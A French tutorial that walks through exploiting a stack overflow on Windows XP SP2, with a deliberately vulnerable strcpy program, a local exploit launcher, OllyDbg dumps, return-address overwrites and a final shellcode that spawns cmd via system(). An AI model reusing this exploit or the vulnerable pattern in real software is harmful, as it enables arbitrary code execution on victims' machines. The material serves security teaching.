Exploiter la stack sous windows xp sp2 Just for knowledge

Transcription

Exploiter la stack sous windows xp sp2 Just for knowledge
Exploiter la stack sous windows xp sp2
Just for knowledge
Pourquoi cet article ?
On trouve sur internet à 90% que des articles expliquant la technique sous linux, or le
commun des mortels possèdent windows !!!
De plus la plupart des articles que l'on rencontre sont soit que de la théorie soit que du
repomper d'ailleur, et souvent repomper de l'article de phrack « Smashing The Stack For
Fun
And Profit »
Je ne suis pas un grand écrivain comme vous pouvez le voir mais j'ai envie de faire partager ce
que je sais faire alors c'est parti.
Je vais tenter de vous montrer à quel point il est facile d'exploiter un stack overflow sous
windows xp sp2.
Vous aurez besoin d'un minimum de connaissances, en asssembleur, sur l'architecture de la
mémoire, et posséder un debuggeur.
Etant donné que je réalise cette exploitation sous windows, je me sers d'Ollydbg qui est pour
moi le meilleur debuggeur, qui sert pratiquement à tout :).
Rappel, stack ou pile
La stack est une structure de données basée sur le principe LIFO, ( Last In, Firts Out) ce qui
signifie que les derniers éléments mis sur la pile seront les premiers à être récupérer.
Concrétement lors de l'appel d'une fonction, ses arguments sont poussés (push) sur la stack
suivi par l'appel de la fonction (call).
push eax //push du deuxième argument
push ebx //push du premier argument
call 0x77BF93C7 // appel de la fonction à partir de son adresse.
Lorsque l'appel de la fonction est exécuté, c'est-à-dire le call 0x77BF93C7, la valeur actuelle de
l'eip ( le point d'instruction) est poussé également sur la pile et sert d'adresse de retour de la
fonction.
Explication:
Une fois que la fonction aura terminé sa fonction :p, l'eip sera dépilé (pop) et permettra à la
fonction de rendre la main, ainsi le programme continuera son exécution en sautant vers
l'adresse contenu dans l'eip. L'eip est appelé adresse de retour ou RET sur la pile car il permet
à la fonction de rendre la main à l'exécution qui va poursuivre vers une instruction suivante
dont l'adresse est contenue dans l'eip ok ? Çà va ?
Adresse haute
eip contenant 0x77BF9300 par exemple appéle RET
ebx
eax
Adresse basse
donc dès que la fonction a terminé son boulot la RET est dépilé et on jump vers 0x77BF9300
continuer l'exécution.
Le stack overflow
Imaginons que vous déclarer un buffer d'une taille quelconque aller on va dire 20 octects :)
pour y recevoir une donnée rentrée par l'utilisateur.
Voici la pile:
Adresse haute
votre buffer
ebp
RET
Adresse basse
Etant donné que la pile croit vers le bas, nous allons avoir la possibilité d'écrire par dessus la
RET en entrant trop de valeur dans le buffer. Si aucun test n'est effecté sur la taille des
données que rentre l'utilisateur et bien les données en trop vont venir écrasé les données se
trouvant avant dans la pile.
Pourquoi écrire par dessus la RET ou eip ?
Nous avons vu que le programme, une fois que la fonction a terminé son travail, dépile (pop)
la RET et jump à l'adresse quelle contient donc si nous pouvons passer une adresse spécifique
à la place, le programme va jumper vers notre adresse.
Le but de l'exploitation d'un stack overflow est de faire exécuter des instructions arbitraires au
processeur (au programme cible). Ses instructions vont etre mis en mémoire dans la stack
dans le buffer où l'utilisateur entre des données :) et ensuite nous faisons un jump vers le
buffer ( en modifier l'adresse de la RET par l'adresse du buffer) et le processeur va tout
simplement exécuter les instructions se trouvant dans le buffer.
Bon aller assez parler, et puis si c'est flou passons à la pratique maintenant.
Munissez-vous de votre ami Ollydbg, aller dans option et mettez-le en mode Just-in-time
Debuggeur.
Nous allons réalisé un petit programme vulnérable.
#include<stdio.h>
#include<string.h>
int main(int argc, char *argv[])
{
char buffer[20]; // nous allouons un buffer de 20 octects
if(argc != 2){ return -1;}
strcpy(buffer, argv[1]);
/*nous copions directement sans contrôle le contenu de l'argument entré par l'utilisateur dans
le buffer de 20 octects.*/
printf("vous avez entre: %s\n\n", buffer); // on affiche le contenu du buffer
return 0x0;
}
Voici le déroulement correct du programme:
Maintenant que se passe-til si on entre plus de données que 20 octects.
Dès lors Ollydbg se lance, car il y a eu un problème en mémoire.
Voici l'état des registres:
EAX 00000000
ECX 77C118BF msvcrt.77C118BF
EDX 77C31B78 msvcrt.77C31B78
EBX 00004000
ESP 0022FF80 ASCII "AAAAAAAAAAAAAaa"
EBP 41414141
ESI 00000000
EDI 00000010
EIP 41414141
A en hexa vaut 0x41, donc on remarque que nous avons réecrit sur l'ebp se trouvant avant le
buffer dans la stack ( buffer + ebp + eip ) nous avons également réecrit sur l'eip et donc ainsi
nous controlons l'exécution :). Pour l'instant il ne se passe rien car l'adresse 41414141 ne
mène nulle part ici.
GDB un bon debugger nous aurait dit sympatiquement « segmentation fault » :)
On peut remarquer que l'esp a pris une partie de données que nous avons entrée, mais il est
bien trop petit pour les instructions que allons mettre et faire exécuter.
Concrètement ce que nous allons faire c'est écrit des instructions dans le buffer, réecrire l'eip
au bon endroit et jumper dans le buffer.
Fastoche :).
Première étape:
Trouver le nombre exacte de données pour écraser pile poil l'eip.
Bon bah çà çà ce fait à tatons :).
Construire l'exploit:
Voici la source assez simple de notre exploit, biensur en local.
#include <stdio.h>
#include <string.h>
#include <unistd.h> //execve
int main(int argc, char *argv[])
{
char *vuln[3];
char buffer[43];
vuln[0] = "prog.exe"; //programme vulnérable
vuln[2] = NULL;
unsigned char shellcode[] =
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41"
"\x41\x41\x58\x58" // RET ( eip )
;
memcpy(&buffer[0], shellcode, sizeof(shellcode)-1);
vuln[1] = buffer;
execve(vuln[0], vuln, NULL);
return 0x0;
}
Donc après tatonnage nous observons qu'il nous faut exactement 43 octects pour réaliser un
overflow et en réecrivant pile poil sur la ret.
\x58 en hexa correspond en ascii à la lettre X et \x41 à A. D'où la composition du shellcode
pour le moment. Nous verrons ce qu'est vraiment le shellcode par la suite.
Vérification en lançant notre exploit, ollydbg nous donne:
EAX 00000000
ECX 77C118BF msvcrt.77C118BF
EDX 77C31B78 msvcrt.77C31B78
EBX 00004000
ESP 0022FF80
EBP 41414141
ESI 0F0E0D0C
EDI 00000000
EIP 58584141 => ceci correspond bien à nos \x41\x41\x58\x58 de fins du buffer de l'exploit.
Rappel: Maintenant que nous pouvons réecrire précisément l'adresse de retour de la fonction
strcpy, et modifier le cours de l'exécution du programme il nous faut un endroit où jumper, un
endroit qui contiendra les instructions que nous voulons faire faire au processeur.
Il y a diverse manière d'exploiter un overflow, certains jump vers l'esp, essayons pour voir.
L'esp se trouve théoriquement à cette adresse 0022FF80 d'après l'état des registres
précédents. Mais l'esp n'est pas fixe ainsi nous allons faire un jump esp à partir de l'adresse
d'une des dll charger en mémoire.
Dans ollydbg, aller dans le menu view, puis executable module. Double cliquer par exemple
sur kernel32.dll, une fois décompiler faite un clic droit, search for> command.
Taper jump esp, si çà ne marche pas taper call esp.
Dans mon cas j'obtiens 7C82385D.
Remplaçons donc dans notre « shellcode » la ret.
unsigned char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x41\x41\x58\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x5D\x38\x82\x7C" // RET
( eip )
;
La norme little endian veut que les adresses soient écrits par ordre d'octet de poids le plus
faible en premier d'où \x5D\x38\x82\x7C. Au passage j'ai remplacer les \x41 par des nops
\x90 qui est une instruction ne faisant rien du tout :). \x41 en assembleur est une instruction,
oui ce n'est pas un A !! seulement en ASCII. D'ailleur \x41 = inc ecx donc pour éviter de foutre
le bordel en mémoire. Mais j'en laisse deux pour bien identifier le buffer en mémoire.
Testons.
C'est gagnez vous êtes un winner, nous venons de sauter dans l'esp, qui était bel et bien à
l'adresse 0022FF80.
Mais l'esp ne nous interesse vraiment pas il est trop petit pour abriter nos instructions :p.
Hum mais qu'il y a t-il juste après sacrebleu !!!!
0022FF7C 7C82385F RETURN to kernel32.7C82385F
0022FF80 00000000
0022FF84 003D24A0
0022FF88 003D2A00
0022FF80
0022FF82
0022FF84
0022FF89
0000
ADD BYTE PTR DS:[EAX],AL
0000
ADD BYTE PTR DS:[EAX],AL
A0 243D0000
MOV AL,BYTE PTR DS:[3D24]
2A3D 00004040 SUB BH,BYTE PTR DS:[40400000]
Hum mais qu'est-ce que c'est 003D24A0 ? Ne serait-ce point la valeur prise par ecx pointant
vers la fin du buffer... 0_O
Jumpons mes amis pour voir :).
unsigned char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x41\x41\x58\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\xA0\x24\x3D\x00" // RET
( eip )
;
Hum et que nous affiche ollydbg ? Hum rien de palpitant au premiers abords, mais si nous
décrémentons l'adresse, ( t'as une scrollbar mon ami sous ollydbg ;) ).
003D2445 0090 90909090 ADD BYTE PTR DS:[EAX+90909090],DL
003D244B 90
NOP
003D244C 90
NOP
003D244D 90
NOP
003D244E 90
NOP
003D244F 90
NOP
003D2450 90
NOP
003D2451 90
NOP
003D2452 90
NOP
003D2453 90
NOP
003D2454 90
NOP
003D2455 90
NOP
003D2456 90
NOP
003D2457 90
NOP
003D2458 90
NOP
003D2459 90
NOP
003D245A 90
NOP
003D245B 90
NOP
003D245C 41
INC ECX
003D245D 41
INC ECX
003D245E 58
POP EAX
003D245F 90
NOP
003D2460 90
NOP
003D2461 90
NOP
003D2462 90
NOP
003D2463 90
NOP
003D2464 90
NOP
003D2465 90
NOP
003D2466 90
NOP
003D2467 90
NOP
003D2468 90
NOP
003D2469 90
NOP
003D246A 90
NOP
003D246B 90
NOP
003D246C 90
NOP
003D246D 90
NOP
003D246E 90
NOP
003D246F 90
NOP
003D2470 90
NOP
003D2471 90
NOP
003D2472 90
NOP
003D2473 A0 243D0055
MOV AL,BYTE PTR DS:[55003D24]
003D2478 0200
ADD AL,BYTE PTR DS:[EAX]
003D247A 0A00
OR AL,BYTE PTR DS:[EAX]
003D247C 65:0108
ADD DWORD PTR GS:[EAX],ECX
003D247F 0000
ADD BYTE PTR DS:[EAX],AL
003D2481 0000
ADD BYTE PTR DS:[EAX],AL
003D2483 0090 243D0002 ADD BYTE PTR DS:[EAX+2003D24],DL
003D2489 0002
ADD BYTE PTR DS:[EDX],AL
003D248B 007B 01
ADD BYTE PTR DS:[EBX+1],BH
003D248E 0800
OR BYTE PTR DS:[EAX],AL
003D2490 80243D 00000000 >AND BYTE PTR DS:[EDI],0
003D2498 0300
ADD EAX,DWORD PTR DS:[EAX]
003D249A 0200
ADD AL,BYTE PTR DS:[EAX]
003D249C 79 01
JNS SHORT 003D249F
003D249E 0C 00
OR AL,0
003D24A0 3D 243D0047
CMP EAX,47003D24
003D24A5 24 3D
AND AL,3D
Ne seraient-ce point nos nops et nos deux \x41 suivi du \x58. Alléluia, nous avons retrouvé
notre buffer en mémoire. Maintenant nous connaissons l'adresse plus ou moins de notre buffer
donc nous allons pouvoir mettre des instructions dans notre buffer et les faire exécuter en
jumpant vers celui-ci. Si t'as pas compris on passe à la pratique tout de suite.
Nous allons jumper en 003D2456 en plein coeur des nops et l'exécution va se poursuivre
jusqu'à rencontrer une instruction dans le buffer. Nous allons y placer un breakpoint qui va
stopper l'exécution du programme.
Un breakpoint est une interruption qui a pour valeur hexadécimale \xCC.
Voici le shellcode a balancé.
unsigned char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\xCC\x41\x41\x58\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x56\x24\x3D\x00" // RET
( eip )
;
Testons.
003D2458
003D2459
003D245A
003D245B
003D245C
003D245D
003D245E
003D245F
90
90
90
CC
41
41
58
90
NOP
NOP
NOP
INT3
INC ECX
INC ECX
POP EAX
NOP
Shellcode
Ollydbg c'est parfaitement arreter à l'adresse 003D245B contenant notre breakpoint c'est
niquel :).
Bon bah c'est fini :p, tout marche on arrive à sauter dans le buffer et les instructions
contenues sont exécutées bon je vous entends me dire que c'est pas très intéressant
d'exploiter pour balancer un breakpoint alors nous allons nous coder quelques instructions
pour lancer le shell de windows.
Pour ce faire nous allons avoir besoin de l'adresse de la fonction escape shell system().
Ceci est très simple. Faites un clique droit sous ollydbg et continuer sur search for puis name
in all module.
Vous avez désormais devant vos yeux les adresses de toutes les fonctions exportées et
importées contenues dans les dll chargées en mémoire.
System çà commence par un S alors tu cherches vers le bas :p.
Address=77BF93C7 msvcrt Section=.text Type=Export (Known) Name=system
Pour lancer le cmd il faut passer la string « cmd » à la fonction system donc il va nous falloir
utiliser une pile pour y mettre « cmd » + le caractere de fin de chaine 0x00. Un autre
problème se présente, on ne peut pas passer le caractere NULL 0x00 dans le buffer sinon il
sera considéré comme une chaine de caractère et le buffer sera tronqué.
Hop, un peu d'assembleur.
mov ebp, esp //en mettant ebp et esp à un niveau identique on crée une pile.
Pour obtenir le 0 de fin de chaine de « cmd » on fait tout simplement un xor sur un registre, ici
ebx mais eax peu importe c'est le principe qu'il faut.
xor ebx, ebx
push ebx
Bon après je passe les détails :p, ebx est un registre de 32bits or 1 char vaut 1 octect soit 8
bits on peut donc y écrire 4 char, on a juste besoin de foutre « cmd » donc c'est bon. Il ne
reste plus qu'à mettre l'adresse d'ebx en argument à system.
Voici notre shellcode final.
unsigned char shellcode[] =
"\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
"\x8B\xEC\x33\xC9\x51\xC6\x45\xFC\x63\xC6\x45\xFD\x6D\xC6\x45"
"\xFE\x64\xB8\xC7\x93\xBF\x77\x50\x8D\x45\xFC\x50\xFF\x55\xF8"
"\x90\x4F\x24\x3D\x00"
;
Hé voilà tout marche, c'est magique.
Cet article n'a aucune prétention, non surtout pas étant donné la rapidité avec laquelle il a
rédigé.
Copyright (c) k-otik,
[email protected]

Documents pareils